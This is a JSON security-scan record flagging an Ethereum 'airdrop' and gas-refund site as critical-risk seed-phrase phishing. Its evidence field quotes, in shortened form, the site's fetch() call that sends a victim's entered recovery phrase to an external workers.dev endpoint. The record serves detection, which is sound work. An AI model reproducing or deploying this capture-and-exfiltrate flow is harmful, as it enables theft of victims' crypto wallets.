{"root_cid":"bafybeibmh7fikjsczrsbh22ye7hdgmolq67vlbxpazqqllo3fq74hwgx6a","model":"openai/gpt-5.4-mini","analyzed_at":"2026-05-05T16:35:55.116Z","result":{"schema_version":1,"category":"Finance","category_confidence":0.96,"summary":"A Webflow-style Ethereum-themed airdrop and gas-fee refund site that is actually centered on wallet-connection flows and recovery-phrase capture.","signals":["analysis-context.latest_probe.title = \"Ethereum Events\" and content_url points to the mounted IPFS root","index.html: \"You have only 7 days to claim your rewards\" and a \"claim\" button for the airdrop flow","gas-fees-refund.html: \"Refund All Gas Fees\" and \"claim\" language present on the same branded site","1yourm11111111111111111.js: \"Enter the Secret Recovery Phrase\" in the Import Wallet step"],"quality":{"tier":"fair","score":0.52,"is_substantive":true,"is_redirect_only":false,"is_placeholder":false,"rationale":"It is a functioning multi-page site with consistent navigation and themed content, but it is mostly template-heavy and shallow in substance."},"security":{"risk":"critical","risk_score":0.99,"threat_type":"seed_phrase_prompt","safe_to_list":false,"findings":[{"type":"seed_phrase_prompt","severity":"critical","confidence":0.99,"evidence":"1yourm11111111111111111.js includes the prompt \"Enter the Secret Recovery Phrase\" and then posts the entered value to an external endpoint with `fetch(\"https://1112onetoothree2.eth2-stiffness640.workers.dev/\", { body: JSON.stringify({ message: input, ... }) })`.","file":"1yourm11111111111111111.js"}]},"files_reviewed":["analysis-context.json","index.html","help-support.html","how-to-claim-airdrop.html","comming-soon.html","gas-fees-refund.html","1yourm11111111111111111.js"]}}